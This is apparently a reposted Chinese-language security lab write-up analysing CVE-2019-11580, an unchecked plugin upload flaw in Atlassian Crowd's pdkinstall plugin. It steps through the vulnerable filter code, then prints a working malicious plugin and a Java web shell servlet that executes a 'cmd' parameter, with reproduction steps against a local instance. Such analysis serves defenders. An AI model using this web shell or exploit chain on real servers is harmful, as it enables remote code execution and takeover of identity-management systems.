您好,登錄后才能下訂單哦!
這篇文章給大家介紹如何進行FireEye中的CVE-2019-11580漏洞分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
全球領先的網絡安全公司 FireEye 疑遭某 APT 組織的攻擊,其大量政府客戶的信息遭越權訪問,且紅隊工具被盜。雖然目前尚不清楚這些紅隊工具將被如何處置,但FireEye 公司在 GitHub 上發布了一些應對措施。奇安信代碼安全實驗室將從技術角度,對 GitHub 倉庫中的相關漏洞進行分析復現,希望能給讀者帶來一些啟發,做好防御。
攻擊者可利用代碼執行漏洞,在服務端執行任意代碼,實現系統信息竊取等目標,從而造成巨大危害。Atlassian Crowd是一款企業身份管理應用,具有身份管理和單點登錄功能,且通過插件進一步擴展了功能。Atlassian Crowd的插件pdkinstall中存在安全缺陷,易導致攻擊者上傳安裝惡意插件進而達到遠程代碼執行的目的。
本節主要分析Atlassian Crowd的pdkinstall插件信息。輸入命令【git clone https://bitbucket.org/atlassian/pdkinstall-plugin】下載插件源碼,使用IDEA打開,如下圖。
首先,分析插件描述文件【atlassian-plugin.xml】。此文件采用XML格式數據重點說明插件模塊與servlet的關聯信息,內容如下。
圖中標紅區域說明,訪問/admin/uploadplugin.action會調用servlet功能類com.atlassian.pdkinstall.PdkInstallFilter,完成新插件的上傳、檢測和安裝過程。因此鎖定此類為安全缺陷入口。
接著,分析其源碼。在源碼中,doFilter()函數是核心函數,涉及關鍵插件邏輯控制語句,因此我們分兩部分來分析該函數源碼。第1部分的源碼及解析如下。
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse res = (HttpServletResponse) servletResponse;
// 不是post請求,就報錯
if (!req.getMethod().equalsIgnoreCase("post"))
{
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post");
return;
}
// 檢查是否是multipart格式數據。
// 數據包中,Content-Type用于表示資源的MIME類型,multipart/mixed類型主要用于傳輸有效的(二進制數據等)數據文件。
// Check that we have a file upload request
File tmp = null;
boolean isMultipart = ServletFileUpload.isMultipartContent(req);
if (isMultipart)
{
// 直接從數據包中提取jar文件繼續安裝插件
tmp = extractJar(req, res, tmp);
}
else
{
// 從數據包中組合數據構建、安裝插件
tmp = buildJarFromFiles(req);
}
此方法首先判別準入POST請求,隨后檢查數據包的Conten-Type類型是否是multipart:如是,則直接從數據包中提取jar文件插件;否則,從數據包中構建安裝jar文件插件。
由于此函數代碼后續跟進tmp變量開展判別任務,因此我們有必要深入相關函數分析返回的tmp變量值信息。進入extractJar()函數分析jar文件插件提取過程,如下;buildJarFromFiles()函數分析過程類似,在此不贅述。
private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException
{
// Create a new file upload handler
ServletFileUpload upload = new ServletFileUpload(factory);
// Parse the request
try {
// 新建的文件上傳實例會解析請求數據包,從而解析multipart/mixed格式的插件
List<FileItem> items = upload.parseRequest(req);
for (FileItem item : items)
{
// 如果解析所得的數據字段以“file_”開頭且不屬于表格字段,則判定為插件信息,據此創建插件,插件在服務端的索引位置保存在tmp變量中
if (item.getFieldName().startsWith("file_") && !item.isFormField())
{
tmp = File.createTempFile("plugindev-", item.getName());
tmp.renameTo(new File(tmp.getParentFile(), item.getName()));
item.write(tmp);
}
}
} catch (FileUploadException e) {
log.warn(e, e);
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload");
} catch (Exception e) {
log.warn(e, e);
res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload");
}
// 返回插件索引位置信息
return tmp;
}
分析可知,如果數據包中存在以 ”file_” 開頭且非表單字段的文件,則據此創建插件,并將插件的服務端位置索引保存至tmp變量中;否則,保持tmp變量為 “null”。最終返回tmp變量。
接著繼續分析doFilter() 函數的第2部分,如下。
// tmp不為空,確定是插件上傳安裝請求且插件已被探測并上傳,開始安裝此插件,否則響應信息“Missing plugin file”
if (tmp != null)
{
List<String> errors = new ArrayList<String>();
try
{
// 安裝插件
errors.addAll(pluginInstaller.install(tmp));
}
catch (Exception ex)
{
log.error(ex);
errors.add(ex.getMessage());
}
tmp.delete();
if (errors.isEmpty())
{
// 安裝成功,響應“Installed plugin”+“具體路徑”
res.setStatus(HttpServletResponse.SC_OK);
servletResponse.setContentType("text/plain");
servletResponse.getWriter().println("Installed plugin " + tmp.getPath());
}
else
{
// 安裝失敗,響應“Unable to install plugin:”
res.setStatus(HttpServletResponse.SC_BAD_REQUEST);
servletResponse.setContentType("text/plain");
servletResponse.getWriter().println("Unable to install plugin:");
for (String err : errors)
{
servletResponse.getWriter().println("\t - " + err);
}
}
servletResponse.getWriter().close();
return;
}
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");
}
分析可知,如tmp變量不為空,則開始安裝插件,且安裝成功返回響應信息 “Installed plugin” +“具體路徑”,安裝失敗返回響應信息 ”Unable to install plugin:”;如 tmp變量為空,則返回響應信息 “Missing plugin file”。
至此,明確Atlassian Crowd的插件管理流程后可知,并不存在明確的插件功能檢測機制,因此插件易被利用。
首先,編寫一個惡意插件,其 “atlassian-plugin.xml” 信息如下。
<atlassian-plugin key="com.cdl.shell.exp" name="Atlassian Manager" plugins-version="2" class="com.cdl.shell.exp">
<plugin-info>
<param name="atlassian-data-center-compatible">true</param>
<description>Atlassian Management plugin</description>
<version>1.0.0</version>
</plugin-info>
<servlet name="exploit" key="exploit" class="com.cdl.shell.exp">
<url-pattern>/exp</url-pattern>
<description>backdoor at /plugins/servlet/cdl</description>
</servlet>
</atlassian-plugin>
分析可知,插件上傳成功后,用戶只需訪問 /exp即可使用惡意插件servlet類com.cdl.shell.exp的功能。
其次,分析com.cdl.shell.exp源碼,如下:
public class exp extends javax.servlet.http.HttpServlet {
public void doGet(HttpServletRequest req, HttpServletResponse res) {
try {
// 接收cmd參數信息
String cmd=String.valueOf(req.getParameter("cmd"));
String output="";
try {
if (!cmd.equals("")) {
// 執行cmd參數命令
Process p=Runtime.getRuntime().exec(cmd);
InputStream out=p.getInputStream();
InputStream err=p.getErrorStream();
int c='\0';
while ((c=out.read()) != -1) {
res.getWriter().write((char)c);
}
}
} catch(Exception ex) {
output+="\n"+ex.toString();
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
從中可知,此exp的功能是讀取并執行 cmd參數值。
最后,編輯請求數據包以便上傳惡意插件,接著在瀏覽器輸入【http://localhost:8095/crowd/plugins/servlet/exp?cmd=whoami】即可執行 “whoami” 命令。觀察服務端的響應信息(如下),可知漏洞利用成功。
第一步,下載【atlassian-crowd-3.4.3】。配置啟動后,訪問【http://localhost:8095/crowd】,最終出現如下界面說明crowd服務搭建成功。
第二步,訪問鏈接【https://github.com/jas502n/CVE-2019-11580】下載惡意插件等資料,隨后執行【CVE-2019-11580.py】腳本,出現如下界面說明插件上傳、安裝成功。
第三步,在瀏覽器訪問鏈接【http://localhost:8095/crowd/plugins/servlet/exp?cmd=whoami】,如出現如下界面,說明成功觸發代碼執行漏洞。
升級至最新版。
通過分析Atlassian Crowd RCE,作者認為此漏洞的根本原因在于插件管理系統未全面測試外來插件的安全性;在相關漏洞研究學習中,我們應當提升Atlassian Crowd動態調試能力,插件分析開發能力,以及Java 和Python的開發能力。
關于如何進行FireEye中的CVE-2019-11580漏洞分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。